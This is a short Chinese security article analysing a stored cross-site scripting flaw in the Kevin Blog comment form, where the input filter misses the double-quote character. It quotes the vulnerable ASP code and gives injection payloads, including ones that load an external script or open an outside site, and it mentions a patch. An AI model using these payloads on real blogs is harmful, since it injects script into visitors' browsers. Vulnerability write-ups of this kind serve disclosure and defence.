无<>跨站一例——kevin blog跨站解析

文章作者: 落叶纷飞&华夏鸡头4
信息来源: 邪恶八进制信息安全团队

kevin blog应该是大家比较喜欢的简约blog了吧,最近从流转JJ那拿了一套,今晚闲着无聊,就想看看它有什么漏洞。
看了一会,看倒comment.asp的代码貌似有点问题。代码如下:
….省略….
user=strchk(Request.Form("gname"))
msg=strchk(Request.Form("gmsg"))
mail=strchk(Request.Form("gmail"))
home=strchk(Request.Form("ghome"))
if mail="" then mail="[email protected]"
if home="" then home="kevin.hididi.net"
sql="Insert Into Comment(c_user,c_time,c_mail,c_home,c_blogid,c_content) values('" & user & "','" & now() & "','" & mail & "','" & home & "','" & id & "','" & msg & "')"
….省略….
咋一看觉得没什么问题,该过滤的都用strchk()函数过滤了。现在我们来看看strchk函数的代码:
….省略….
Function Strchk(Byval fStr)
fStr=Replace(fStr,"'",""")
fStr=Replace(fStr,"<","<")
fStr=replace(fStr,">",">")
fStr=replace(fStr,">",">")
'fStr=replace(fStr,vbnewline,"")
Strchk=fStr
End Function
….省略….
貌似把跨站的特殊字符都过滤了,但仔细看一看,没有过滤“"”。好的,我们现在来测试下,在评论页的“主页”项写入“ onmouseover=java:alert("leaves")”,当移动到主页的时候跨站框出来了。我们来猛一点的,在“主页”里输入“ onmouseover=java:alert("leaves") title="”再在“内容”里“ggsssdf"asff”点“提交”看看,怎么样,跨半屏了吧。
无聊也写了个补丁,呵呵
下载补丁

onmouseover=java:document.src="1.js" title="zzz
onmouseover=java:window.open("//www.cnsst.net/") title="

相关日志

发表评论